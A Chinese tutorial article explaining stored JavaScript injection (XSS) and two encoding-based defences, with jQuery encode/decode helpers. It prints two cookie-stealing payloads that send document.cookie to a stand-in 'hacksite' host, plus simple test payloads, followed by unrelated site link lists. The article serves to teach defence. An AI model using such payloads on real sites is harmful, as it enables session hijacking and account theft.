JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
一些不错的js函数ajax
Aug 20 Javascript
几个javascript操作word的参考代码
Oct 26 Javascript
基于jquery实现放大镜效果
Aug 17 Javascript
jQuery Ajax 加载数据时异步显示加载动画
Aug 01 Javascript
AngularJS equal比较对象实例详解
Sep 14 Javascript
JS识别浏览器类型(电脑浏览器和手机浏览器)
Nov 18 Javascript
js 性能优化之算法和流程控制
Feb 15 Javascript
使用vue.js写一个tab选项卡效果
Mar 25 Javascript
Angular4.0中引入laydate.js日期插件的方法教程
Dec 25 Javascript
原生JS封装_new函数实现new关键字的功能
Aug 12 Javascript
使用vue-cli3 创建vue项目并配置VS Code 自动代码格式化 vue语法高亮问题
May 14 Javascript
浅谈nuxtjs校验登录中间件和混入(mixin)
Nov 06 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
PHP中session变量的销毁
2014/02/27 PHP
PHP程序员基本要求和必备技能
2014/05/09 PHP
PHP使用redis实现统计缓存mysql压力的方法
2015/11/14 PHP
php获取'/'传参的值简单方法
2017/07/13 PHP
JavaScript 组件之旅(二)编码实现和算法
2009/10/28 Javascript
两个比较有用的Javascript工具函数代码
2010/02/17 Javascript
创建公共调用 jQuery Ajax 带返回值
2012/08/01 Javascript
javascript实现可全选、反选及删除表格的方法
2015/05/15 Javascript
JS实现完全语义化的网页选项卡效果代码
2015/09/15 Javascript
js强制把网址设为默认首页
2015/09/29 Javascript
一种新的javascript对象创建方式Object.create()
2015/12/28 Javascript
基于jquery插件编写countdown计时器
2016/06/12 Javascript
AngularJS基础 ng-keypress 指令简单示例
2016/08/02 Javascript
AngularJS 过滤器(自带和自建)详解
2016/09/19 Javascript
整理关于Bootstrap排版的慕课笔记
2017/03/29 Javascript
JavaScript实现网页头部进度条刷新
2017/04/16 Javascript
深入了解js原型模式
2019/05/30 Javascript
nodejs环境使用Typeorm连接查询Oracle数据
2019/12/05 NodeJs
vue中实现点击变成全屏的多种方法
2020/09/27 Javascript
python实现嵌套列表平铺的两种方法
2018/11/08 Python
python ipset管理 增删白名单的方法
2019/01/14 Python
Python正则表达式匹配日期与时间的方法
2019/07/07 Python
python之列表推导式的用法
2019/11/29 Python
墨尔本最受欢迎的复古风格品牌:Princess Highway
2018/12/21 全球购物
巴西宠物商店:Cobasi
2019/04/19 全球购物
娇韵诗俄罗斯官方网站:Clarins俄罗斯
2020/10/03 全球购物
初一生物教学反思
2014/01/18 职场文书
咖啡店自主创业商业计划书
2014/01/22 职场文书
汽车维修专业自荐书
2014/05/26 职场文书
北京申奥口号
2014/06/19 职场文书
现场活动策划方案
2014/08/22 职场文书
2014最新开业庆典策划方案(5篇)
2014/09/15 职场文书
工厂仓库管理员岗位职责
2015/04/09 职场文书
2015小学教师德育工作总结
2015/05/12 职场文书
处罚决定书范文
2015/06/24 职场文书
MySQL表的增删改查基础教程
2021/04/07 MySQL